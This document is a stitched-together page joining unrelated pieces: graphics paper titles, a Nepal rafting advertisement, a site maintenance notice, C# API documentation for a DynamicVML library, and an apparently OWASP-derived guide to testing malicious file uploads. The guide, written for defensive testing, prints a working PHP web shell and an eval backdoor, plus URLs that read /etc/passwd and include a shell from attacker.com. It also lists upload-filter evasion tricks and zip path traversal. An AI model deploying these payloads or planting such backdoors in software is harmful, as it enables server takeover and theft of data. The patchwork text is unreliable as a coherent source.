- High-Order Recursive Filtering of Non-Uniformly Sampled Signals for Image and Video Processing
- Jointly Optimized Regressors for Image Super-resolution
- Comprehensible Video Thumbnails
- Inexpensive Reconstruction and Rendering of Realistic Roadside Landscapes
- Hardware-Based Non-Photorealistic Rendering Using a Painting Robot
- Real-Time Subspace Integration for Example-Based Elastic Material
- Biologically-Inspired Visual Simulation of Insect Swarms
- Time Line Cell Tracking for the Approximation of Lagrangian Coherent Structures with Subgrid Accuracy
- Mobility-Trees for Indoor Scenes Manipulation
- Generating Design Suggestions under Tight Constraints with Gradient-based Probabilistic Programming
March 16, 2015
- Hallucinating Stereoscopy from a Single Image
March 15, 2015
- Rich-VPLs for Improving the Versatility of Many-Light Methods
- Improving k-buffer methods via Occupancy Maps
- Scalable Partitioning for Parallel Position Based Dynamics
- Adaptive LightSlice for Virtual Ray Lights
- Adaptive LightSlice for Virtual Ray Lights
February 25, 2015
- Layer-Based Procedural Design of Facades
- A Biophysically-Based Model of the Optical Properties of Skin Aging
- Selective Degree Elevation for Multi-Sided Bezier Patches
February 17, 2015
- Self Tuning Texture Optimization
- High Reliefs from 3D Scenes
- Replaceable Substructures for Efficient Part-Based Modeling
- Template Assembly for Detailed Urban Reconstruction
- Guiding Image Manipulations using Shape-appearance Subspaces from Co-alignment of Image Collections
- Implicit Formulation for SPH-based Viscous Fluids
- Adaptable Anatomical Models for Realistic Bone Motion Reconstruction
- IlluminationCut
- Object Repositioning Based on the Perspective in a Single Image
(CGF Paper)
February 10, 2015
- Quad Layout Embedding via Aligned Parameterization
(CGF Paper)
February 6, 2015
- Sample Elimination for Generating Poisson Disk Sample Sets
- A Dimension-reduced Pressure Solver for Liquid Simulations
- Interactive Disassembly Planning of Complex Objects
- Scalable Partitioning for Parallel Position Based Dynamics
- General and Robust Error Estimation and Reconstruction for Monte Carlo Rendering
- Approximating the Generalized Voronoi Diagram of Closely Spaced Objects
- Designing Camera Networks by Convex Quadratic Programming
February 3, 2015
- Database-Assisted Object Retrieval for Real-Time 3D Reconstruction
- Compressive Image Reconstruction in Reduced Union of Subspaces
- Panoramic Video from Unstructured Camera Arrays
- Implicit Formulation for SPH-based Viscous Fluids
- Layer-Based Procedural Design of Facades
- VDub: Modifying Face Video of Actors for Plausible Visual Alignment to a Dubbed Audio Track
January 22, 2015
- Composition-Aware Scene Optimization for Product Images
January 12, 2015
- Woodification: User-Controlled Cambial Growth Modeling
- Guiding Image Manipulations using Shape-appearance Subspaces from Co-alignment of Image Collections
January 11, 2015
- Shape-from-Operator: recovering shapes from intrinsic operators
- Template Assembly for Detailed Urban Reconstruction
- Paint and Click: Unified Interactions for Image Boundaries
- A Biophysically-Based Model of the Optical Properties of Skin Aging
- Statics Aware Grid Shells
- CHC+RT: Coherent Hierarchical Culling for Ray Tracing
- Distilled Collections from Textual Image Queries
- Skeleton-Intrisin Symmetrization of Shapes
- Composition-Aware Scene Optimization for Product Images
- Replaceable Substructures for Efficient Part-Based Modeling
- SmartAnnotator: An Interactive Tool for Annotating Indoor RGBD Images
- Page Created and Published
kesen.huang@gmail.com


Image credit:https://www.getmyboat.com/trips/VKVQQVXY/.
Major destinations for rafting in Nepal is Bhote Koshi river and Trishuli river. Adventure fills more memories with lots of happiness in conquering fear. Excited for rafting? No worries we are associated with the best rafting companies to provide you great experience and make your visit more memorable with experienced rafting guide.
Rafting in Bhotekoshi:
We arrange rafting in Bhotekoshi river which consists of more than 4 rapid flows interesting and full of adventure. Flow with the flow of water and live wild.
Price: 100-200 $ per person
Rafting in Trishuli:
Trishuli is also a famous destination for rafting. It consists of more than 3 rapid flows which are exciting.You can enjoy this adventure in flowing white water.
Price: 100-200 $ per person


Summary
Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.
Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.
Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.
The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).
Example
Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.
How to Test
Generic Testing Method
Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.
Develop or acquire a known “malicious” file. An EICAR anti-malware test file can be used as harmless, but widely detected by antivirus software.
Try to upload the malicious file to the application/system and verify that it is correctly rejected.
If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.
Exploit Payload
Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit "msfpayload" command.
Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.
Malicious File
Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.
Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.
http://www.eicar.org/86-0-intended-use.html
WebShell Backdoor
For example upload the 'WebShell-backdoor.php' to the target victim site.
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Once it's uploaded, the testers/hackers may get the password by visiting the URL below.
http://TargetVictimSite.com/WebShell-backdoor.php?cmd=cat+/etc/passwd
or it may execute by remote file injection as below.
http://TargetVictimSite.com/File.php?include=http://attacker.com/WebShell-backdoor.php
Other PHP example:
<?php @eval($_POST['password']);?> Invalid File
Set up the intercepting proxy to capture the “valid” request for an accepted file.
Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected.
Source Code Review
When there is file upload feature supported, the following API/methods are common to be found in the source code.
- Java: new file, import, upload, getFileName, Download, getOutputString, fileOutputStream, java.io.file, export
- C/C++: open, fopen
- PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require()
Evasion of the Filter
The following techniques may be used to bypass the website file upload checking rules and filters.
- Change the value of 'Content-Type' as 'image/jpeg' in HTTP request
- Change the extensions as executable extensions such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
- Changes of capital letters of extensions. such as file.PhP or file.AspX
- Using special trailing such as spaces, dots or null characters such as file.asp… . file.php;jpg, file.asp%00.jpg, 1.jpg%00.php
The executable extensions should be in black list such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
- In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.
http://www.targetVictim.com/path/file.asp;file.jpg - In NginX, if the original file name is test.jpg, testers/hackers may change it to 'test.jpg/x.php'
Once it's uploaded, the file will be executed as x.php
Zip files path
One Zip file may contain the malicious PHP with target purpose path such as '..\..\..\..\hacker.php' If the website doesn't check the unzip target path, the hacker.php may unzip to the specified path.
Zip Bomp
Upload the ZIP bomb file that may cause application denial of service.
https://github.com/AbhiAgarwal/notes/wiki/Zip-bomb
- new File, file, OutputSteam, upload, import, file_put_contents, open, fopen
Related Test Cases
Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)
Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)
Tools
Metasploit's payload generation functionality
Intercepting proxy
References
OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload
Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/
File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload
Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/
8 Basic Rules to Implement Secure File Uploads - http://software-security.sans.org/blog/2009/12/28/8-basic-rules-to-implement-secure-file-uploads
Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms
How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm
CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html
Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/
Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/
Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads
Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit http://www.projectshellcode.com/?q=node/29
Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html
Remediation
While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.


Passhub Maintenance
Passhub is under construction now. We are introducing new features and make the site more stable.


Class ControllerExtensions
Extension methods to help sending back list items from the controllers.
Inherited Members
Namespace: DynamicVML.Extensions
Assembly: DynamicVML.dll
Syntax
public static class ControllerExtensions
Remarks
Please see the sample applications for examples on how they are used.
Methods
| Improve this Doc View SourcePartialView(Controller, IDynamicList, AddNewDynamicItem)
Creates the partial view for the item that should be sent back to the client.
Declaration
public static ActionResult PartialView(this Controller controller, IDynamicList item, AddNewDynamicItem parameters)
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| IDynamicList | item | The dynamic list item to be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
Returns
| Type | Description |
|---|---|
| ActionResult | An ActionResult to be sent back to the client. |
PartialView<TViewModel>(Controller, TViewModel, AddNewDynamicItem)
Creates the partial view for the item that should be sent back to the client.
Declaration
public static ActionResult PartialView<TViewModel>(this Controller controller, TViewModel viewModel, AddNewDynamicItem parameters)
where TViewModel : class
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
Returns
| Type | Description |
|---|---|
| ActionResult | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
PartialView<TViewModel>(Controller, TViewModel, AddNewDynamicItem, Action<DynamicListItem<TViewModel>>)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static ActionResult PartialView<TViewModel>(this Controller controller, TViewModel viewModel, AddNewDynamicItem parameters, Action<DynamicListItem<TViewModel>> options)
where TViewModel : class
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| Action<DynamicListItem<TViewModel>> | options | An action that allows for configuring the options to be associated with the new item before it gets inserted to the list. |
Returns
| Type | Description |
|---|---|
| ActionResult | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
PartialView<TViewModel, TOptions>(Controller, TViewModel, AddNewDynamicItem, TOptions)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static ActionResult PartialView<TViewModel, TOptions>(this Controller controller, TViewModel viewModel, AddNewDynamicItem parameters, TOptions options)
where TViewModel : class where TOptions : DynamicListItem<TViewModel>, new()
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| TOptions | options | Any additional options you might want to specify for this item. |
Returns
| Type | Description |
|---|---|
| ActionResult | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
| TOptions | The options associated with the view model. |
PartialView<TViewModel, TOptions>(Controller, TViewModel, AddNewDynamicItem, Action<TOptions>)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static ActionResult PartialView<TViewModel, TOptions>(this Controller controller, TViewModel viewModel, AddNewDynamicItem parameters, Action<TOptions> options)
where TViewModel : class where TOptions : DynamicListItem<TViewModel>, new()
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| Action<TOptions> | options | An action that allows for configuring the options to be associated with the new item before it gets inserted to the list. |
Returns
| Type | Description |
|---|---|
| ActionResult | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
| TOptions | The options associated with the view model. |
PartialViewAsync(Controller, ICompositeViewEngine, IDynamicList, AddNewDynamicItem)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static Task<ActionResult> PartialViewAsync(this Controller controller, ICompositeViewEngine engine, IDynamicList item, AddNewDynamicItem parameters)
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| ICompositeViewEngine | engine | An instance of the ICompositeViewEngine class (which can be obtained using dependency injection by asking it as a new parameter in your controllers' constructor) |
| IDynamicList | item | The dynamic list item to be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
Returns
| Type | Description |
|---|---|
| Task<ActionResult> | An ActionResult to be sent back to the client. |
PartialViewAsync<TViewModel>(Controller, ICompositeViewEngine, TViewModel, AddNewDynamicItem, Action<DynamicListItem<TViewModel>>)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static Task<ActionResult> PartialViewAsync<TViewModel>(this Controller controller, ICompositeViewEngine engine, TViewModel viewModel, AddNewDynamicItem parameters, Action<DynamicListItem<TViewModel>> options)
where TViewModel : class
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| ICompositeViewEngine | engine | An instance of the ICompositeViewEngine class (which can be obtained using dependency injection by asking it as a new parameter in your controllers' constructor) |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| Action<DynamicListItem<TViewModel>> | options | Any additional options you might want to specify for this item. |
Returns
| Type | Description |
|---|---|
| Task<ActionResult> | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
PartialViewAsync<TViewModel, TOptions>(Controller, ICompositeViewEngine, TViewModel, AddNewDynamicItem, TOptions)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static Task<ActionResult> PartialViewAsync<TViewModel, TOptions>(this Controller controller, ICompositeViewEngine engine, TViewModel viewModel, AddNewDynamicItem parameters, TOptions options)
where TViewModel : class where TOptions : DynamicListItem<TViewModel>, new()
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| ICompositeViewEngine | engine | An instance of the ICompositeViewEngine class (which can be obtained using dependency injection by asking it as a new parameter in your controllers' constructor) |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| TOptions | options | Any additional options you might want to specify for this item. |
Returns
| Type | Description |
|---|---|
| Task<ActionResult> | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
| TOptions | The options associated with the view model. |
PartialViewAsync<TViewModel, TOptions>(Controller, ICompositeViewEngine, TViewModel, AddNewDynamicItem, Action<TOptions>)
Renders a partial view containing the item to be in plain HTML, and converts it to JSON so it can be sent back to the client. You should only use this method when using Post.
Declaration
public static Task<ActionResult> PartialViewAsync<TViewModel, TOptions>(this Controller controller, ICompositeViewEngine engine, TViewModel viewModel, AddNewDynamicItem parameters, Action<TOptions> options)
where TViewModel : class where TOptions : DynamicListItem<TViewModel>, new()
Parameters
| Type | Name | Description |
|---|---|---|
| Controller | controller | The controller handling the action for creating the new item. |
| ICompositeViewEngine | engine | An instance of the ICompositeViewEngine class (which can be obtained using dependency injection by asking it as a new parameter in your controllers' constructor) |
| TViewModel | viewModel | The view model whose view should be rendered. |
| AddNewDynamicItem | parameters | The AddNewDynamicItem received by the controller. |
| Action<TOptions> | options | Any additional options you might want to specify for this item. |
Returns
| Type | Description |
|---|---|
| Task<ActionResult> | An ActionResult to be sent back to the client. |
Type Parameters
| Name | Description |
|---|---|
| TViewModel | The type of the view model whose view should be rendered. |
| TOptions | The options associated with the view model. |